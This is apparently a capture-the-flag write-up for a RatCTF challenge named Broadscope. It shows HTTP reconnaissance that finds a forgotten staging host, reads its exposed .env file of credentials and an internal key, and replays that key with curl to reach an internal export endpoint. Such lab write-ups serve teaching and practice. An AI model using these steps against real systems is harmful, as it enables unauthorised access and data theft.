Broadscope
✓ SOLVEDRatCTF — Asset Discovery → Historical Config Exposure → Forgotten Staging → Internal Export
Overview
Broadscope was solved entirely through HTTP reconnaissance. Historical configuration exposed a forgotten staging host. That staging host leaked an internal service key through /.env, which unlocked an internal export endpoint and the final flag.
Recon — Public Surface
I enumerated the public virtual host, inspected the front-end JavaScript, then checked robots.txt and the sitemap. Those breadcrumbs led to an exposed /archive/ path.
curl -i -H "Host: www.broadscope.test" http://173.230.128.202:30831/robots.txtHistorical Config — Forgotten Host
The archive directory exposed historical Nginx and DNS exports. Those files identified a forgotten virtual host: staging-old.broadscope.test.
Inventory Verification — User Flag
I submitted the discovered estate to /api/v1/inventory: www, careers, api, and staging-old. The server verified the complete host set and returned the user flag.
POST /api/v1/inventory
Host: api.broadscope.test
{
"hosts": [
"www.broadscope.test",
"careers.broadscope.test",
"api.broadscope.test",
"staging-old.broadscope.test"
]
}flag{[REDACTED]}Staging Secrets — Exposed .env
The forgotten staging virtual host exposed /.env. It contained database credentials, an internal service key, and the internal export path.
APP_ENV=staging
DB_HOST=legacy-staging-db
DB_USER=bs_staging
DB_PASSWORD=stagingonly
BROADSCOPE_INTERNAL_KEY=bs_live_7f41c0d9a2e84b16
INTERNAL_EXPORT_PATH=/internal/exportInternal Export — Root Flag
The export endpoint initially returned 403 Forbidden. Supplying the leaked key in X-Internal-Key changed the response to 200 OK and returned the final flag.
curl -i -H "Host: staging-old.broadscope.test" -H "X-Internal-Key: bs_live_7f41c0d9a2e84b16" http://173.230.128.202:30831/internal/exportflag{[REDACTED]}